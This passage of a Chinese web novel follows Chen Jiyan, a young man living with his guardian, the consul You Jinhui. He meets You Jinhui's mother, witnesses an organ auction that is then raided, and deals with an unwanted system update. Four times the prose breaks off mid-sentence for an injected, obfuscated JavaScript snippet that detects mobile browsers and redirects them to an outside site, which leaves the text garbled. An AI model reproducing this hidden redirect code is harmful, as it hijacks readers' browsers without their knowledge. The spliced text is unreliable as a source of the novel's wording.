一个月前还是优质牛马,健全的劳动力,虽然没给社会做出什么贡献,但老老实实纳税,勤勤恳恳工作,心理虽然阴暗了点,但看上去还算积极阳光,也没给社会添乱。 现在不仅处处受到限制,生存能力也几乎为0,工作就更不必说,他甚至连小孩的社会化程度都比不上,迄今为止最大的价值,也仅供研究观赏,丰富生物多样性。 前所未有的挫败。 这点挫败立刻被郁闷打败,游今洄第三次倒水从他面前经过时,陈寄言终于忍不住发问: “你不用上班吗?” “申请休假,正好多时间关心你,开心吗?” 隔着监控看总觉得孩子粘人需要陪伴,而且傍晚的时候总爱去门旁边等着,游今洄深觉自己是个好家长。 “好感动,真开心。” 陈寄言面无表情地说完,他强调了三遍自己只是喜欢玄关旁边沙发看到的风景,并不是再等他回来。 客厅太大太空空,玄关那里六七十平的小地方很适合他待。 “说说,今天是什么?” 游今洄调整姿态,不再是酊枢大马金刀那么一坐,考虑到会给对面的人造成心理压力,他甚至带上了眼镜,据说会显得斯文儒雅,平易近人一些。 然而对方不领情,双腿交叠着,抱着书本没骨头似地依靠在单人沙发上,一副拒绝交流的姿态。 自从领回陈寄言,执政官的日子一天比一天精彩,随时随地发现新问题。 “除了之前提到的轻度抑郁,焦虑,认知障碍,今天又测出了什么?” “感官过载。” 他明明可以看见所有记录和检测结果,偏偏要用问答让自己说。 “怎么治?需要脱敏吗?” 说着极其自然地拎起陈寄言比他小一圈的手腕,隔着手套揉搓他的腕骨。 陈寄言不自觉瑟缩了一下,忍着没把自己的手抽离。 “有伤?” 曾经有,“腱鞘炎。” “这又是什么病?”游今洄再次解锁新名词,他服役期间都没听说过这么五花八门的病症。 “你不懂。”没上过班你是不会明白的。 “精神脆弱,肠胃脆弱,手腕也脆弱,不知道的,以为我虐待你。” 游今洄对他目前的状况很不满意。 他知道自己的身体大概不健康,但没想到能查出这么多乱七八糟的毛病。 体检通常是下半年,去年就查出几个结节没怎么放在心上,这半年来身体报警,生病次数也越来越多,经常是感冒都要拖小半个月还很难完全康复,竟然坚强地活到现在,器官们真是不容易。 到这边后,生理上的疼痛减轻了,比如偏头痛,脊椎痛,腱鞘炎智齿发作时候的痛,基本上告别,甚至连中学开始就伴随他的近视也消失,但生理上还没有那么快反应过来。 骤然进入新环境,他整个神经系统全都出于应激状态,毕竟每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772054|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天死去活来的还是不一般的刺激。 “除此之外,你好像很抗拒跟我沟通。” 游今洄脱下手套,整个人的气势骤然削减,连眼神都变得温和起来,如果忽略他肩上的勋章,似乎就是一个关心自己弟弟妹妹的普通青年。 “你看上去并不是这么有耐心倾听未成年烦心事的人。” 执政官习惯吩咐命令,手下从没忤逆反驳他的,少数几个不长眼的同事,也常常迫于他的身份地位而妥协。 是以他几乎是拿出自己全部的耐心和好脾气去旅行监护人的职责。 “我还不够有耐心?” “陈寄言,对我来说,你并不是陌生人。” 那眼神很难形容,少有的平和,藏着几分晦涩难懂的情绪,让人怀疑面前这个执政官是不是有另一个人格。 不过每次见他,不是在列车上,就是在酊枢的办公区,人在上下班的时候是两幅面孔,只是之前一直没机会见到非工作状态时候的游今洄。 “对我来说你是,好了,请监护人离未成年的世界远一点,给我留点私人空间,谢谢。” 太近了,游今洄那张好看的脸放大,他觉得自己又有点心律不齐。 可能是被气的吧,肇事者完全不觉得自己过分。 迟来的叛逆期? 第一次,执政官大人被人拒之门外。 干燥的并不粗糙的手掌,腕上还残留着一点温度。 陈寄言的体温要比这里正常人的标准低,系统解释为身体为了控制代谢延长存活时间做出的调整。 研究所也表示没什么问题。 距离决定去拜访游亭已经过去了五天,突如其来的负伤,两人双双在蔓都养病,游今洄没主动提起,陈寄言也没问,游亭那边却主动传讯。 大概意思就是还见不到人她就亲自上门来看到底是什么情况。 这是要兴师问罪。 游今洄揉揉眉心,认命般: “收拾一下,”再怎么找借口也拖不了多久,“准备见家长了。” 执政官的家庭信息并不难找,母亲议会成员,父亲艺术家,据说十分恩爱。很难想象这样臭脾气的人居然是在一个和睦的家庭成长起来的。 “记得叫人。” 叫人?他是被领养,所以也要叫他的父母爸妈,理论上应该是这样,陈寄言总觉得别扭。 “嗯,这么久了,还叫执政官,不太行。” “叫声哥哥我听一听。” “有没有别的选项,有点恶心。” “好吧,除了职务,自己想一个。” 他耐心地等,大有陈寄言如果现在不想出一个令他满意的称呼,就不放人走的意思。 本就烦躁的陈寄言倍感压力,少有自然睡着的时候,几乎每天都是消耗完体力值直接昏迷,好不容易在昏黄灯光下酝酿出的几分浅薄睡意,被这个人几句话打乱,身上由内到外泛起刺痛,尤其是脑袋,今天的体力也所剩无几,即将挂机。 “游今洄。” “没大没小。” 算了,叛逆期,让一让小孩子,毕竟他是成熟的大人了。 15. 夜色浮金 酊枢出发,其实要更近。 从外表完全看不出她的年龄,与想象中严肃板正的长辈形象相去甚远。 与游今洄性冷淡的装修截然不同,游亭的家是两层高的独栋别墅,前院养着大片蔷薇,正是花期,开得热闹。 房间软装是非常丰富多彩的颜色,怀疑误入某个私人画廊,空气弥漫着淡淡幽香,或许是来自院中的蔷薇,又或许是特调过的香氛。紧张的情绪放松不少,站立姿态也没那么僵硬。 游亭本人穿着裁剪考究的套裙,既可以随时出席一场宴会,也能参加正式会议。 她本人看上去最多不过30,眼睛黑而亮,领缘别着的红宝石胸针在阳光下熠熠生辉。 “你来了,我一直都很想见你,” 第一次见面,没有热络得过于刻意,也没有因为生疏而冷落,都说政治家最擅长表演,游亭更是其中翘楚。 说话不急不徐,抑扬顿挫,就算站这的是根木头都要如沐春风的感觉哄得开花。 陈寄言本来就不擅长社交,相处下来竟然也不觉得有任何问题。 跟一个年龄地位远超自己的人交谈能觉得舒适,毫无疑问,对方在照顾你。 无疑她是善意的,不论出于什么目的。 “原本是要给你取名字的,不过你原先的监护人说,你有自己的名字,很好听。” 提到薇塔星,陈寄言精神一振,“您认识她?” 游亭摇头否认,“当时大部分手续都是我爱人办理,事发突然,桑夏恩炸毁后,里面的人杳无音讯。” 酊枢没有找到任何痕迹,这次被偷运,酊枢也参与其中,他是默港目标之一没错,查明桑夏恩毁灭真相,也是双方不约而同达成的共识。 “桑夏恩……” “我很抱歉,如果勾起你不太好的回忆,”游亭没有避而不谈,“是游今洄的错,他没有看顾好你,这种事情在酊枢不会再次发生。” 她给出相当郑重的承诺。 “其实,过去很多事情,我都不太记得,”如果想要从他这里探寻桑夏恩覆灭的真相,陈寄言实在爱莫能助,总不能说自己是穿越过来的,对这里一无所知,只能用失忆这种老套但好用的借口。 “那样也好,母亲总是希望孩子能过的开心。” 从她的语气神态中看不出遗憾或者惋惜,像是松了口气。 “如果您有什么想知道的,或者我可以帮到您的,” “听游今洄说,你身体一直不好,你们都健康平安,我就很高兴。” 陈寄言对她的好感从五分提到八分。 “在酊枢住的还习惯吗,如果有空也可以常来这里坐,当作自己家。” “不用客气,我们本来就是家人。” 她跟游今洄性格截然相反,作风也完全不同。 游亭女士很好相处,根本不是传闻中的样子。似乎对游今洄也是普通的出于母亲对孩子的牵挂,母子不和的言论可信度不高。 或许有许多观念不合,但并不妨碍关心对方,游今洄提起家人,没有怨怼,无奈中透露着一丝嫌弃。 游亭提起他,虽然是批评责备的话,也不乏关心。 “恒脉房间里的鲜花,是您送来的?” 虞美人,大朵的木芙蓉,还有一些叫不出名字的花,很眼熟,经常出现在他在研究所的房间。 野心勃勃,跟男人,上位者,爱人,儿子,争夺资源,居住的房间种植了很多植物和花。 主城酊枢是不会种植这些麻烦又娇弱的东西,人们觉得会占夺资源,甚至在公共区域种植是违法行为,私人领域允许被种植,超过一定数量会被举报,严重者拘留。 但游女士的地位以及资源是完全没有必要考虑这些,如果不是时间空间不允许,她能把后花园变成植物园。 他们的交谈没有很久,游亭的友人来拜访,陈寄言跟游今洄识趣地先告辞。 “游女士的朋友,也是议员?” 这个称呼是他来之前问过游今洄,陈寄言觉得阿姨太生疏,伯母也很奇怪,只好向外求助。 然后被告知,如果被这么称呼,游亭会很高兴,事实也的确如此。 “怎么可能,你会想跟同事做朋友吗?” 那当然不会。 “游女士性格挺好的,你怎么一点不像她。” “我朋友的确不多,你似乎也没什么好指摘我的。” 陈寄言,目前为止拥有0个朋友,甚至比不上臭名昭著的执政官的人缘。 “我择友标准比较高。”况且他到这里来才多久,每天努力活着就已经很消耗所有精力,哪来时间交朋友。 “巧了,我也是。” 平心而论,游今洄只能算一个相处得比较好的室友,不会发展成其他任何关系了。 “不回去吗?” “时间还早,去个地方。” 陈寄言更想回去。 “医生说了,像你这样的情况不能总宅在房间,需要适当外出呼吸新鲜空气。” 游今洄心平气和地劝。 “FS超过30的新鲜空气?”这跟让他直接吸毒有什么区别,“想我死得早点就直说。” 他在外面待太久会暴躁,说话也不怎么客气。 “年轻人不都喜欢玩,拍卖会不去?” 拍卖会啊,上辈子攒几十年工资都过不去验资第一关的那种吗? “我去。” 游今洄以为他还在犹豫,再次开口,“不限额度,看上什么随便拍。” 撤回对游今洄的室友定位,他最喜欢跟有钱人做朋友了。 眨眼的功夫,又换了身装扮。 如果说刚才是得体,现在已经过于花哨,装饰繁复,倒是显得有些轻浮。 白色西服裁剪合身,玫瑰金色内搭的领子层层叠叠,颇有中世纪宫廷贵族的风格。 “你年纪小,合适。” 反观游今洄一身深灰西服,衬着湛蓝瞳色,相得益彰。 他的眼睛和鼻子跟游亭很像,瞳色应该是继承的他父亲。 至于身高,“你家里人都这么高吗?” “我们家里人都高,你来之前最矮的是我爸。” “我应该,还能再长。”陈寄言突然觉得身高不够用。 外观很朴实的一栋别墅,在见识过游今洄的古堡,游亭的花园之后,对于这种平时自己艳羡不已的房子,陈寄言已经能做到心如止水。甚至觉得有点无聊。 然而推门进去则又是一番崭新天地,金色奢靡的宴会厅闪得人睁不开眼。 觥筹交错,衣香鬓影,跟酊枢的冰冷机械,蔓都的自然和谐,是截然相反的另一个世界。 “不是说,资源紧缺,生存困难吗?”骗人的吧。 “只是激励大众的说辞,让大家居安思危。”游今洄简要回答,随意找地方落座,示意陈寄言也过去。 游今洄司空见惯的样子,让陈寄言骤然胜出一股难以言说的复杂情感。 他似乎应该是高兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772055|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,毕竟他的监护人作为这个阶层的一员,他的待遇也不会差到哪里去。 但想起朴实无华的桑夏恩,常年阴沉压抑的酊枢,对面前浮华放纵的景象有深深的排斥。 反观游今洄,他的气场跟这里很合,似乎天生就该游走在这种地方,然而神情中又露出一丝难以察觉的厌恶,跟他如鱼得水的动作自相矛盾。 他想起来之前游今洄关于殉职那番言论,汹涌的潮汐退下,心湖再次变得平静。这里不只有自己一个异类。 陈寄言在他右侧坐下,顺着他的目光观察人群。 原来任何时代都有特权阶级的存在,唯一众生平等的只有死亡。他以为人人自危的末世人们更加团结,更加集体化地去维护种族的延续,原来只是接近灭亡的情况下,直至生命截至的最后一秒,生命还是会被划分为三六九等的。 果然啊,这才是他熟悉的人性。 对于他们来说,旧世界的东西反而奢侈,因为极少见且难得,再加上消耗过快,比如刚以100万成交的怀表,比如那一小瓶比金子还贵的墨水。 因为是没有用的东西,所以人们更愿意为其附上一层价值,使得拥有者获得与众不同的高贵气质。 其实本质上,跟过去营销异曲同工。 “我自己逛,不用管我,去做你自己的事情。” 他当然不会相信日理万机的执政官特意抽出时间带他来拍卖会是单纯的买东西。 “我这个挡箭牌还好用吗,执政官大人?” 自从立下顾家人设,执政官假也多了事也少了,团建脱身也有借口了,不要太方便。 “就不能找点别的借口,比如你生病什么的。” “那不行,会人心大乱的。” 也是,“可是你三天两头说我生病申请居家办公,甚至底下员工团建都用要陪孩子出门这种拙劣借口,中间只出席一下,是不是太过分了?” “过分吗?没有吧。” “有损我的形象。” 外界他已经是一碰就碎掉的玻璃人,离开机器就活不了,没有监护人在就下不了地。 所有人都用一种怜爱的眼神注视着,并且传言离谱程度呈指数增长,他怀疑继续这么下去,过不了多久酊枢所有人都跟研究所那群人一样用看他像看熊猫一样。 “我很困扰。” 每次出现在酊枢,他都能从打招呼的人眼中读出“看这就是执政官家里的不能自理的孩子”的震惊和“天哪见到活的濒危物种”的喜悦。 跟同事寒暄完的游今洄不知道从哪里摸出来一块银质面具,不由分说地盖在陈寄言脸上。接着自己也带上同款。 “不用跟他们计较,拍卖要开始了,找位置坐好。” “我是在跟他们计较?” 监护人完全没有意识到自己的问题,用哄小孩的话敷衍他,显得陈寄言好像在无理取闹。 他被搂着肩膀拐到光线不好的角落。 “重申一次,”他再次强调自己的诉求, 游今洄完全没看展台,侧耳过来,低头检查他的手环。 场内设有屏蔽仪,他十分钟前看过一次全面的数据,临开场前,不放心要再观察一遍。 “知道了,下次不用你当借口。” “乖一点,看上什么直接拍。” 他的事情还没办完。如野兽捕猎前一样静默蛰伏在隐蔽的角落,静候目标出现,蓄势待发。 陈寄言轻易被哄好,聚精会神看着手册上今夜的拍品。 16. 冰山一角 不同于他这个无业游民,执政官到这里显然有正事要做。 “场面可能会很乱,如果我不在附近,待在原地。” “我想早点回去。” 场上拍卖东西,在过去司空见惯,印章,笔墨,纸张,花色丰富的盘子,形态各异的花瓶,镶嵌宝石的戒指项链。 “晚上外面会有烟花,据说很漂亮。” 陈寄言放下手册,回头已经找不到熟悉的身影。 他吃掉一两块精致得像装饰品的饼干,高脚杯的红色液体被换成无酒精饮料,听着台上主持的介绍,时不时估算回去的时间,其中最万众瞩目的,是一个透明的放着器官的瓶子。 标签上只有一串数字。 “小E,解释一下这个编号,还有,能不能找到类似拍品的流向。” “好的,现在为您分析,这是一名诞生于新历0987的0xxx的心脏,系统没有记录,应为未顺利通过考核的残次品。” 一切都有答案了,之前困扰他的问题终于解开。 那些未通过考核的,无法毕业的FS抗性没有达到60的孩子,原来最终的归宿在这里。 他听着一身华服的讲解者念着天花乱坠的稿子,透明柜中的展品被誉为【神赐的礼物】【未经玷污的珍宝】。 系统并未察觉陈寄言现在复杂的心理,语音未停: “所有桑夏恩出生的孩子都会自动签署器官捐赠协议,作为对主城的回报,相似交易有27起眼角膜捐赠,89起肾源更换,以及……警告,检测到您情绪大幅波动,请调整呼吸,如有需要,可以联系研究院申请镇静剂类药物注射,今日剩余最佳活动时间,2.5小时。” 自愿签署,无偿赠与这样的字眼,过去就屡见不鲜,某些人为自己吃人血肉所找的借口而已,披上一层冠冕堂皇的皮,好让自己看上去不像野兽。那些还未发育成熟的器官,在精心培养之后,明码标价,通过各种渠道在所谓上流社会流传,通过拍卖展示出来的,是百里挑一的完成品。 当某些罪恶暴露在阳光下时,意味着它已经遍地都是。能为人所知的,只不过是冰山一角。 酊枢的每一根管道都流着罪恶肮脏的血,竟然会被喻为人类最后的心脏。 “这样是合法的吗?”他调整呼吸,让自己不那么激动。 “经刷选记录入库的器官,每一台手术都符合程序。”小E没有迟疑地给出答案。 那么流入卖场的是不被记录在案的私人收藏。 陈寄言并不能感同身受,因为他没有8岁之前的记忆,他并不是出生就在这里,对桑夏恩,没有特殊的感情,他也不是这些不幸的被选中的人,相反他非常幸运地拥有一个好的身世,这使得他也在挑选者之列。 但他依旧愤怒。 愤怒之余又觉得失望。 “怎么了,系统预警到我这里。” 脑中传来监护人的声音,陈寄言的想法几乎是毫无保留地同步到他那边。 “因为你身份特殊,难免被动或主动见到一些你本不愿意看见的东西,比如真相。” 相信政府,那些能公之于众,正大光明出现在阳光下的东西,再怎么冰冷残酷不近人情,那也是他们筛选出来,为数不多的能够披露给所有同胞的, 不要试图挖掘底下腐烂的根系,那对你的人生没有任何益处。 “我不是谁的实验品,” “你们也不是我的同类。” 没有仁慈,没有尊重,没有公平,甚至连表面和平的伪装都不屑一顾,甚至连生命都能够被衡量。 他受不了,他生活的社会,他所处的文明,平等与自由深入骨骼,流淌在每个人的血液里。 而不是就这么光明正大,堂而皇之地陈列在所有人面前,把罪行当作功绩一样炫耀。 “所以说,你还是太年轻,这正是我身为监护人存在的意义。”游今洄的样子简直是叛逆期孩子家长的真实写照,“自由,尊严,这些都是需要努力争取的东西,至于平等,或许我们的理解稍微有点差异,所有人都活在同一片天空下,已经足够平等。” “意思是,他们不会受到惩罚吗?” “你认为什么样的惩罚合适。”执政官反问道。 “应该都去死,参与这个环节的所有人。” “法律不会这样判定。” 是的,毕竟是在人口骤缩的新历,生命无比珍贵,死刑的条件极为严苛。 “原来是这样的啊,原来这里是流行虚伪,谎言与欺骗的。” 他看着台下许多买家的眼神,赤裸的,原始的,野性的,不加掩饰的。 这里根本不是未来,不是文明的延续,而是末世之后的末世。 他拒绝这样的未来。 或许死在一百年前也不是坏事。 现在,终于能够理解薇塔星的决绝,他们明明是那么鲜活的生命,却被规训得麻木,机械,为了追求自由甚至不惜毁灭自身。 桑夏恩的崩塌是必然,建立初衷就昭示着它绝不可能长久。 “那么犯罪也是被允许的吗?” “当然不是。” 话音刚落,枪声响起,泛着银蓝色光的透明玻璃罩应声而碎。 全场的灯光骤然失明,原本朦胧暧昧的氛围一扫而空,餐盘掉落在地的声音,液体泼洒的飞溅声,高低长短不一的惊呼声,此起彼伏。 觥筹交错的名流晚宴,瞬间变成闹哄哄的菜市场。 “酊枢执行公务,肃静。” 趁乱陈寄言看了最中央的站展台一眼,空的。 钓鱼执法的游今洄收起手枪,好整以暇地抱臂看戏。 “你不下去?”他眼神询问。 “别人的主场,就不跟军部抢功了。” 游今洄的枪声很独特,说不上来到底哪里不同,第一次听的时候,子弹擦过耳边际,他下意识躲开。 尖锐短促的声响颇为醒神,把他从一个光怪陆离的世界拉回地面。 “怎么,想要?” 他一直盯着腰间看,游今洄拿出手枪转了两圈,上膛,递过去。 “还剩一发子弹,玩玩?” 看热闹不嫌事大,反正军部已经露面,他们浑水摸鱼,也不起眼。 “试试,看哪里不顺眼,瞄准点。” 他的声音天生就带有领导性,免疫力过低的人很容易抛开一切听他的话。 鬼使神差,生活在21世纪禁枪的文明社会的陈寄言,第一次握上只在电视看见的东西。 “对,没错,就是这样。” 嘭! “你还真是……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772056|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他射下了最大的水晶吊灯。 这下想不被人注意到都难。 “闯祸了?” 陈寄言害怕又兴奋,手在后座力下微微发抖,甚至还想再来一次。 “这种时候又还挺像我的。”游今洄看着那双发亮的琥珀瞳,心莫名陷下一块。 “做得很好,非常出色。” “不过,该还给我了。” 不容置疑地从他手里夺过枪,揽着人侧身转移到最近的展台当作掩体。 周围一片混乱,陈寄言的视野里只剩下游今洄了。到现在,他终于明白,那些他看不懂的怜悯还包含着什么。 大概是以为他是游今洄给自己准备的移动器官库,所以这么早就立下继承人,寸步不移地放在身边。 知道内情的研究所当然不会这么以为,他的身体状况有目共睹,且不说游今洄是否看得上,花费数十年心血培养维护一个器官培养皿,成本是惊人的。 这种行为屡禁不止,游今洄让人产生这样的错觉,是以得到了这场拍卖的入场券。 “心真黑。” 围剿行动很快结束,游今洄并非孤身前来,他甚至不是这次行动主导,只能算作辅助,军方藏在参会者中的人控制局面,不知情者被推搡着走到中央。 安放好陈寄言,执政官又去听不同部门的下属跟他报告。 已到深夜,十二点的钟声准时敲响,惯例预先准备好的烟花在暮色中点燃。 这不是陈寄言见过的范围最大的烟火,但一定是最花哨的,炫技一般,香槟色的烟火消失在深蓝夜幕,火星落下的地方再次盛开瑰丽的花,一朵接着一朵,挤满天空,仿佛永不停息。 伴随着爆炸声,室内忽然变得安静。 所有人都不由自主靠近窗边欣赏壮丽的景象。 室内原来一直有放背景音,只是被混乱的人声盖住,是他不曾听过的钢琴曲,华丽的尾调划穿过纸醉金迷的宴会厅,混着着酒和香精的气味, 他路过一扇又一扇大理石雕刻的门窗,无心外面的景色。 空气中FS浓度在上升,陈寄言喘不过气。 系统没有提示,跟死了一样,他对于现在的身体状况很了解,最多十分钟,又要强制关机。 待机状态太容易被当作尸体,人多又乱,自己下次醒来指不定在哪个乱葬岗。 他现在只有一个念头,找到游今洄立刻回去。 “不是让你待在那里么,还剩一点,收尾就回——” 游今洄被定在当场,一动不动。 陈寄言几乎是整个人挂在他身上。 太近了。 “你喝酒了?” “回去,我快撑不住了,最多三分钟” 甚至连三分钟都没说完,陈寄言已经失去意识。 前一刻还温热带着酒香的身体,一瞬间变得冰凉失去心跳。 游今洄不是第一次直面他突然晕倒的场景,只是从来没有这么近距离感受过。 有那么一瞬间,他担心再也醒不过来了。 什么建议嘱托都去死,陈寄言这种情况最好就是关在恒脉室里,全天24小时无死角监控。 是他的错,明明陈寄言就说过想早点回去,怎么能因为最近稍有起色就放松警惕,自信有自己在身边人一定不会出事。 17. 重回职场 这次昏迷虽然突然,但时间很短,没有到24小时,陈寄言以为醒来会在恒脉,睁开眼竟然是在蔓都的房间。 尼可在啃干草,没有其他人在。 系统上方是一项正常的体检报告,时间在凌晨三点,应该是被带回研究所做检查,又被送回。 除此之外,还有一份更新详情。 “更新?为什么更新?已经结束了?” “谁同意了?我本人同意了吗?你自作主张更新完,我是不是还得谢谢你通知我?” “抱歉,因为检测到您监护人在附近,所以才启动更新的,并且我们事先有通知您,所以您并不是不知情的。” 操作记录里面,的确是他本人点的稍后再说。 这种东西不是一般默认半夜更新,目前为止他一直把系统当作手机用,谁家手机白天更新? “好吧,以后更新放在深夜或者其他我睡着的时间谢谢。”被人工智能支配的可悲人类。 一般来说,系统越更新,bug越多,越难用。 美其名曰提高使用者体验,其实只是完成KPI,没需求也要硬造需求,而且有用的不做,面子工程挺好,守则密密麻麻的一整页,百分之九十是废话,真正有用的就是底下最后一行的投诉电话。 还“让我们携手前进”。 谁想跟他们前进,简直有病。 陈寄言花了三分钟时间进行探索,发现除了更难用,界面颜色也变回了默认,更像前司系统了,有种重返职场的错觉,更恐怖的是他竟然还记得没开完的那场会PPT的内容。 不能继续深入思考了,新历未成年心理脆弱看不得这些。 “恢复到原来版本。”他面无表情下达指令。 “您确定要恢复至旧版本吗?” “确定。” “请您完成一下问卷,感谢对我们工作的支持。” 他耐着性子花半小时填完了问卷。 “感谢您的时间,您的诉求将在100天内解决。” ?什么东西? “三天之内解决。” “好的,已为您加急处理,提高优先级,缩短至30天。” “今天就给我解决,不然投诉,不对,举报你们欺诈未成年。” 任何时候举报都最有效。 “叮,您的系统已恢复至上一版本。” “我回来了!” 还是这版不太聪明的好用。 小E没察觉人类的恶评,非常抱歉地解释: “因为要接任务了,所以酊枢默认要更换最新的系统,” “不问本人意愿?” “因为更方便报告上传和监控定位,不过已经把这部分功能新增在控制面板,平时不用的时候也可以隐藏。” “而且不是一个体系的,这个是军方自己用的,特别霸道,虽然确实简洁实用很多,但怎么有我贴心呢!” 并没有简洁,也不实用。 “一般不会出现强制的情况,应该是流程批下来后,询问时间无应答,所以默认同意。” 小E继续解释更新优化后的功能,比如可建立屏障过滤掉部分FS物质,比如可以随时查看各地公共系统运行图。 “研究所报告说,小陈你现在身体比较稳定啦,我这边的记录你最近日平均活动时常也在10h左右,因此达到了做任务换取贡献值的标准。” 贡献值和晶源分配紧密相关,在酊枢没有工资不会饿死,但没有贡献值一定寸步难行。 在研究所躺尸的那段时间,也是有贡献分数的,每月都累积下来,算下来居然能买下拍卖会上最便宜的一件拍品,再加上继承来的薇塔星遗产,短时间内也不会被饿死。 此前详细咨询过蔓都买房或者租房需要那些必备条件,系统给的回答非常让人失望,这里的房屋几乎不怎么租赁或者出售,如果想要独居,最简单快捷性价比高的方案,是去酊枢领一份工作,会自动分配距离工作地点最近的房屋。 考虑到他现在的身体状况,在酊枢的生活成本会相当高,而且他不想换个地方打工。 陈寄言盘算完,觉得在蔓都生活最合适,身体不用承受太大的负担,还能种菜自给自足,基本上不会有太多花销。 不过这些全部跟研究所发来的账单抵消了,毕竟每天维持身体正常活动就是一笔不小的开销。 只好继续打工养活自己了。 “这边给您推荐的比较合适的工作机会有” “要钱最多的。” 陈寄言的要求简单直白。 “好的,那么军防部特别处临时志愿者非常适合,最新的适合小陈的任务在——6天后,新历7959,已为您添加日程。” 看着硕大的倒计时:6,陈寄言觉得自己应该开始为新工作做准备,然而刚打开网页想要查找特别处的相关信息,又被一篇刚刚更新的执政官同人文吸引。 “嘶~”他就看一眼。 然后时间就这样悄然溜走。 陈寄言日程的变动,实时同步到监护人那里,在待处理事项那一栏的置顶,缺监护人签字。 “最近状态怎么样?” 司闵发现聊正事前先关心上司家孩子会让后续对话更加顺利。 “好很多,看,他做的菜。”已经不会引起食物中毒事故了。 “不错不错,所以为了双方的身心健康,你还是不要太长时间待在家里,每天定时定点出现一段时间就足够,刚开始是这样的,他之前一直是独自在研究所,跟人距离太近相处太久,会感到压力,导致抑郁。”涉及育儿经验,司部长侃侃而谈。 “很明显你家孩子有自己的生活节奏,并且一天天规律起来,不要过多介入,顺其自然比较好。” “他想要出去工作。”游今洄原本是有这个想法,经过拍卖会那晚,又犹疑不定。 “这,也正常,到了一定年纪是会想要独立证明自己的,你也不能一辈子养着吧。” “你那有没有什么” “别想,没有,不可能,教育部有我一个吉祥物就够了,一个两个,总把人往我这塞,你自己在财管署 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772057|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找个轻松的活让他适应不行吗?” “财管署的工作比较耗心力,”以陈寄言每天八小时的高精力时间是远远不够的,“我是想问,你那里有没有什么指导实践的教程。” “呃,”虽然不是塞人,但这种要求也很有难度,“你知道我们每年都有指标的对吧,而且项目经费也十分有限……为了生计,许多老师不得不编写很厚的教材……” “所以?” “所以还是让你家孩子直接找个地方实习比较靠谱,书看再多也是纸上谈兵。”他很有眼见地没提下期预算问题,毕竟执政官看上去似乎心情突然变坏了。 游今洄表示知道了,会考虑对教育部的人员裁剪。 “经费紧张,我记得csa上缴的税费百分之六十都划到你们名下。” 说到这个司闵更是有苦难言,人人都知道csa是块肥肉,但有部门底下那么多员工嗷嗷待哺,真的没什么油水。 军方就不必说采矿从来没穷过,律政司接大案子能吃一年,财管署更是掌握酊枢所有资源分配,还能偶尔接点私活帮蔓都一些家族打理资产。 既不能非法出版开源,又要维持形象没法节流,还时常被忽视,总和csa被放在一起被议论。 “真缺钱,去军方接任务,我又没拦着。” 众所周知,特别处的任务一向是来者不拒,且回报丰厚。只是需要经常离开酊枢出外勤,且任务刷新不稳定,不是很受欢迎。 毕竟不管凭本身还是靠家里砸进酊枢的,谁没事会想去主城之外的边缘地带。 “谁像他们这么粗鲁,风尘仆仆,多不体面。” 为了体现自己并不专政独裁,回去后,执政官召开家庭会议,询问陈寄言自己的意见。 “你对未来的规划是怎样,想做什么?” 游今洄难得尽一次监护人的职责,他可以根据自己的经验给他合理的建议。 “我小时候有个梦想是当大熊猫。”濒危物种,不用工作,只呼吸就会被夸。某种意义上,这已经变成了现实。 “有点无聊,又不自由。”实现梦想的感觉不过如此,陈寄言觉得他的目标应该更加远大一点。 “我还有一个梦想是当皇帝。”这个之前说过,新历的人类无法理解,并且认为他脑子有病。 “不错的梦想。”游今洄点评并且鼓掌。真是好极了,根本不需要监护人的建议。 看来大事还是需要一家之主多操心,执政官换上平时工作的冷漠认真严肃:“酊枢不养闲人,你的任务申请我已经签字通过了。” “你说有没有一种可能,”陈寄言发散思维,习惯性逃避上班,“我全职在家做你的继承人怎么样?” 游今洄残忍打破幻想: “恒脉实验室欢迎你,或许还能卖点参观票,作为家长,我会定期捧场。” 陈寄言也是随口一问,没有真的指望游今洄说同意,但是竟然连鼓励都没有,莫名有点不爽。 “放心,我一定自力更生。” “祝你成功,熊猫先生。” 18. 